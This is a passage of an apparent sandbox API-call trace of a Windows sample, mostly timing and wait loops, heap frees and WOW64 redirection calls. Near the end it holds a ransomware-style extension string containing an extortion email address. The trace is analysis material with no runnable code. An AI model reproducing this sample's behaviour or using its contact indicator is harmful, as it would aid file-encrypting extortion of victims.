lpParameter=0x6acb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc [0240.784] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0241.058] GetTickCount () returned 0x143da [0241.058] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0241.541] GetTickCount () returned 0x145be [0241.541] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0241.734] GetTickCount () returned 0x14689 [0241.734] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0242.068] GetTickCount () returned 0x147d1 [0242.068] GetTickCount () returned 0x1482f [0242.159] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0242.566] GetTickCount () returned 0x149c5 [0242.567] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0242.840] GetTickCount () returned 0x14adf [0242.840] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0243.171] GetTickCount () returned 0x14c27 [0243.171] GetTickCount () returned 0x14c27 [0243.171] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0243.592] GetTickCount () returned 0x14dcd [0243.592] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0243.850] GetTickCount () returned 0x14ec7 [0243.850] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0244.128] GetTickCount () returned 0x14fd0 [0244.128] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0244.694] GetTickCount () returned 0x15212 [0244.694] GetTickCount () returned 0x15212 [0244.694] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0245.158] GetTickCount () returned 0x153d8 [0245.158] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0245.523] GetTickCount () returned 0x1554f [0245.523] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0245.829] GetTickCount () returned 0x15677 [0245.829] GetTickCount () returned 0x15677 [0245.829] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0246.270] GetTickCount () returned 0x1583d [0246.270] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0246.621] GetTickCount () returned 0x15994 [0246.621] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0246.826] GetTickCount () returned 0x15a5f [0246.827] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0247.274] GetTickCount () returned 0x15c25 [0247.274] GetTickCount () returned 0x15c25 [0247.274] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0247.641] GetTickCount () returned 0x15d9c [0247.641] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0247.890] GetTickCount () returned 0x15e96 [0247.890] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0248.209] GetTickCount () returned 0x15fce [0248.209] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0248.445] GetTickCount () returned 0x160b8 [0248.445] GetTickCount () returned 0x160b8 [0248.445] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0248.642] GetTickCount () returned 0x16184 [0248.642] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0248.817] GetTickCount () returned 0x1622f [0248.817] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.039] GetTickCount () returned 0x1630a [0249.039] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.324] GetTickCount () returned 0x16423 [0249.324] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.606] GetTickCount () returned 0x1653d [0249.606] GetTickCount () returned 0x1653d [0249.606] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.734] GetTickCount () returned 0x165c9 [0249.734] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.861] GetTickCount () returned 0x16646 [0249.861] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0249.999] GetTickCount () returned 0x166d3 [0249.999] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0250.181] GetTickCount () returned 0x1677f [0250.181] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0250.297] GetTickCount () returned 0x167fc [0250.297] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0250.422] GetTickCount () returned 0x16879 [0250.422] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0250.658] GetTickCount () returned 0x16963 [0250.658] GetTickCount () returned 0x16963 [0250.658] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0251.083] GetTickCount () returned 0x16b09 [0251.083] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0251.498] GetTickCount () returned 0x16caf [0251.499] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0251.936] GetTickCount () returned 0x16e64 [0251.936] GetTickCount () returned 0x16e64 [0251.936] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0252.285] GetTickCount () returned 0x16fbc [0252.285] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0252.440] GetTickCount () returned 0x17058 [0252.440] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0252.668] GetTickCount () returned 0x17143 [0252.668] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0253.116] GetTickCount () returned 0x172f8 [0253.116] GetTickCount () returned 0x172f8 [0253.116] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0253.547] GetTickCount () returned 0x1749e [0253.547] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0253.940] GetTickCount () returned 0x17625 [0253.940] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0254.250] GetTickCount () returned 0x1775d [0254.250] GetTickCount () returned 0x1775d [0254.250] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0254.597] GetTickCount () returned 0x178b5 [0254.597] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0255.354] GetTickCount () returned 0x17bb3 [0255.354] GetTickCount () returned 0x17bb3 [0255.354] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0255.895] GetTickCount () returned 0x17dd6 [0255.895] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0256.570] GetTickCount () returned 0x18075 [0256.570] GetTickCount () returned 0x18075 [0256.570] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0256.917] GetTickCount () returned 0x181cd [0256.917] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0257.470] GetTickCount () returned 0x18400 [0257.470] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0258.101] GetTickCount () returned 0x18671 [0258.101] GetTickCount () returned 0x18671 [0258.101] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0258.229] GetTickCount () returned 0x186ee [0258.229] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0258.454] GetTickCount () returned 0x187d8 [0258.454] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0258.609] GetTickCount () returned 0x18874 [0258.610] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0258.959] GetTickCount () returned 0x189cc [0258.959] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0259.102] GetTickCount () returned 0x18a59 [0259.102] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0259.261] GetTickCount () returned 0x18b05 [0259.261] GetTickCount () returned 0x18b05 [0259.261] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0259.374] GetTickCount () returned 0x18b72 [0259.374] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0259.616] GetTickCount () returned 0x18c5c [0259.616] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0260.333] GetTickCount () returned 0x18f2b [0260.333] GetTickCount () returned 0x18f2b [0260.333] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0261.232] GetTickCount () returned 0x192b5 [0261.232] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0261.357] GetTickCount () returned 0x19332 [0261.357] GetTickCount () returned 0x19332 [0261.357] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0261.536] GetTickCount () returned 0x193de [0261.536] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0261.870] GetTickCount () returned 0x19526 [0261.870] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0262.288] GetTickCount () returned 0x196cc [0262.288] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0262.795] GetTickCount () returned 0x198d0 [0262.795] GetTickCount () returned 0x198d0 [0262.795] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0263.270] GetTickCount () returned 0x19aa5 [0263.270] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0263.540] GetTickCount () returned 0x19bae [0263.540] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0263.715] GetTickCount () returned 0x19c5a [0263.715] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0264.077] GetTickCount () returned 0x19dc1 [0264.077] GetTickCount () returned 0x19dc1 [0264.077] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0264.336] GetTickCount () returned 0x19ecb [0264.336] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0264.593] GetTickCount () returned 0x19fc5 [0264.593] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0264.703] GetTickCount () returned 0x1a032 [0264.703] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0264.910] GetTickCount () returned 0x1a10d [0264.911] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0265.146] GetTickCount () returned 0x1a1f8 [0265.146] GetTickCount () returned 0x1a1f8 [0265.146] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0265.548] GetTickCount () returned 0x1a37e [0265.548] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0265.709] GetTickCount () returned 0x1a42a [0265.709] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0266.041] GetTickCount () returned 0x1a572 [0266.041] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0266.160] GetTickCount () returned 0x1a5e0 [0266.160] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0266.274] GetTickCount () returned 0x1a65d [0266.274] GetTickCount () returned 0x1a65d [0266.274] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0266.460] GetTickCount () returned 0x1a718 [0266.460] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0266.686] GetTickCount () returned 0x1a7f3 [0266.686] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0267.068] GetTickCount () returned 0x1a979 [0267.068] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0267.758] GetTickCount () returned 0x1ac29 [0267.758] GetTickCount () returned 0x1ac29 [0267.758] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0267.917] GetTickCount () returned 0x1acc5 [0267.917] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0268.187] GetTickCount () returned 0x1adde [0268.187] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0268.386] GetTickCount () returned 0x1ae9a [0268.386] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0268.558] GetTickCount () returned 0x1af46 [0268.558] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0268.769] GetTickCount () returned 0x1b011 [0268.769] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0268.968] GetTickCount () returned 0x1b0dc [0268.968] GetTickCount () returned 0x1b0dc [0268.968] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0269.228] GetTickCount () returned 0x1b1e6 [0269.228] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0269.552] GetTickCount () returned 0x1b31e [0269.552] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0269.769] GetTickCount () returned 0x1b409 [0269.769] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0269.933] GetTickCount () returned 0x1b4a5 [0269.933] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0270.072] GetTickCount () returned 0x1b531 [0270.072] GetTickCount () returned 0x1b531 [0270.072] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0270.218] GetTickCount () returned 0x1b5be [0270.218] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0270.494] GetTickCount () returned 0x1b6d7 [0270.494] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0270.680] GetTickCount () returned 0x1b793 [0270.680] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0270.883] GetTickCount () returned 0x1b85e [0270.883] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0271.157] GetTickCount () returned 0x1b968 [0271.157] GetTickCount () returned 0x1b968 [0271.157] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0271.387] GetTickCount () returned 0x1ba52 [0271.387] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0271.612] GetTickCount () returned 0x1bb2d [0271.612] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0271.946] GetTickCount () returned 0x1bc84 [0271.946] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0272.154] GetTickCount () returned 0x1bd50 [0272.154] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0272.390] GetTickCount () returned 0x1be4a [0272.390] GetTickCount () returned 0x1be4a [0272.390] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0272.713] GetTickCount () returned 0x1bf82 [0272.713] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0273.030] GetTickCount () returned 0x1c0ca [0273.030] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0273.191] GetTickCount () returned 0x1c166 [0273.191] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0273.375] GetTickCount () returned 0x1c222 [0273.375] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0273.578] GetTickCount () returned 0x1c2dd [0273.578] GetTickCount () returned 0x1c2dd [0273.578] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0273.859] GetTickCount () returned 0x1c3f7 [0273.859] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0274.297] GetTickCount () returned 0x1c5ac [0274.297] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0274.797] GetTickCount () returned 0x1c7a0 [0274.797] GetTickCount () returned 0x1c7a0 [0274.797] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.051] GetTickCount () returned 0x1c8aa [0275.051] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.260] GetTickCount () returned 0x1c975 [0275.260] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.437] GetTickCount () returned 0x1ca21 [0275.437] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.568] GetTickCount () returned 0x1caad [0275.568] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.827] GetTickCount () returned 0x1cba7 [0275.827] GetTickCount () returned 0x1cba7 [0275.827] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0275.983] GetTickCount () returned 0x1cc44 [0275.983] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0276.210] GetTickCount () returned 0x1cd2e [0276.210] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0276.398] GetTickCount () returned 0x1cdea [0276.398] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0276.613] GetTickCount () returned 0x1cec4 [0276.613] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0276.770] GetTickCount () returned 0x1cf61 [0276.770] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0276.958] GetTickCount () returned 0x1d01c [0276.958] GetTickCount () returned 0x1d01c [0276.958] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0277.175] GetTickCount () returned 0x1d0f7 [0277.175] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0277.326] GetTickCount () returned 0x1d183 [0277.326] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0277.458] GetTickCount () returned 0x1d210 [0277.458] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0278.022] GetTickCount () returned 0x1d443 [0278.022] GetTickCount () returned 0x1d443 [0278.022] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0278.349] GetTickCount () returned 0x1d58b [0278.349] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0279.087] GetTickCount () returned 0x1d869 [0279.087] GetTickCount () returned 0x1d869 [0279.087] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0279.417] GetTickCount () returned 0x1d9b1 [0279.417] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0279.797] GetTickCount () returned 0x1db38 [0279.797] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0280.094] GetTickCount () returned 0x1dc61 [0280.094] GetTickCount () returned 0x1dc61 [0280.094] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0280.503] GetTickCount () returned 0x1ddf7 [0280.503] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0280.890] GetTickCount () returned 0x1df7e [0280.890] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0281.302] GetTickCount () returned 0x1e114 [0281.302] GetTickCount () returned 0x1e114 [0281.302] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0281.651] GetTickCount () returned 0x1e26c [0281.651] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0282.130] GetTickCount () returned 0x1e450 [0282.130] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0282.527] GetTickCount () returned 0x1e5e6 [0282.527] GetTickCount () returned 0x1e5e6 [0282.527] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0282.833] GetTickCount () returned 0x1e70f [0282.833] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0283.035] GetTickCount () returned 0x1e7da [0283.035] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0283.169] GetTickCount () returned 0x1e867 [0283.169] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0283.421] GetTickCount () returned 0x1e961 [0283.421] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0283.595] GetTickCount () returned 0x1ea0d [0283.595] GetTickCount () returned 0x1ea0d [0283.595] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0283.847] GetTickCount () returned 0x1eb07 [0283.848] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0284.053] GetTickCount () returned 0x1ebd2 [0284.053] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0284.200] GetTickCount () returned 0x1ec5e [0284.200] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0284.506] GetTickCount () returned 0x1ed97 [0284.506] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0284.917] GetTickCount () returned 0x1ef2d [0284.917] GetTickCount () returned 0x1ef2d [0284.917] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0285.275] GetTickCount () returned 0x1f095 [0285.275] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x102 [0285.424] GetTickCount () returned 0x1f131 [0285.424] WaitForSingleObject (hHandle=0xfcc, dwMilliseconds=0x64) returned 0x0 [0285.521] WaitForMultipleObjects (nCount=0x4, lpHandles=0x23dff5c*=0xfbc, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0285.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x2f8e020 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678368 | out: hHeap=0x630000) returned 1 [0285.602] lstrlenW (lpString=".com") returned 4 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2738 | out: hHeap=0x630000) returned 1 [0285.602] lstrlenW (lpString=".[bitcharity@protonmail.com]") returned 28 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6423c8 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678278 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2678 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2540 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f25a0 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2630 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2690 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f26a8 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678418 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2588 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f24c8 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2780 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678378 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678338 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2990 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678298 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27b0 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678248 | out: hHeap=0x630000) returned 1 [0285.602] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2720 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f790 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f808 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a198 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64b020 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6acb80 | out: hHeap=0x630000) returned 1 [0285.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6460e0 | out: hHeap=0x630000) returned 1 [0285.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f648c0 [0285.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9b98 [0285.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9b98, Size=0x20) returned 0x3f64758 [0285.604] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.604] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.604] Wow64DisableWow64FsRedirection (in: OldValue=0x23dff7c | out: OldValue=0x23dff7c*=0x1) returned 1 [0285.604] lstrlenW (lpString="kernel32.dll") returned 12 [0285.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64758 | out: hHeap=0x630000) returned 1 [0285.604] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.604] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f648c0 | out: hHeap=0x630000) returned 1 Thread: id = 2563 os_tid = 0x26b8 [0241.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x6bcba0 [0241.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x717770 [0241.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706568 [0241.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdc50 [0241.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706580 [0241.141] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x30cc020 [0241.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706598 [0241.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706598, Size=0x20) returned 0x6e4040 [0241.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7067a8 [0241.144] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7067a8, Size=0x20) returned 0x6e41f8 [0241.144] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.144] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.144] Wow64DisableWow64FsRedirection (in: OldValue=0x251ff50 | out: OldValue=0x251ff50*=0x0) returned 1 [0241.144] lstrlenW (lpString="kernel32.dll") returned 12 [0241.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4040 | out: hHeap=0x630000) returned 1 [0241.144] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e41f8 | out: hHeap=0x630000) returned 1 [0241.144] Sleep (dwMilliseconds=0x64) [0241.543] Sleep (dwMilliseconds=0x64) [0241.823] Sleep (dwMilliseconds=0x64) [0242.223] Sleep (dwMilliseconds=0x64) [0242.570] Sleep (dwMilliseconds=0x64) [0242.844] Sleep (dwMilliseconds=0x64) [0243.170] Sleep (dwMilliseconds=0x64) [0243.591] lstrcmpiW 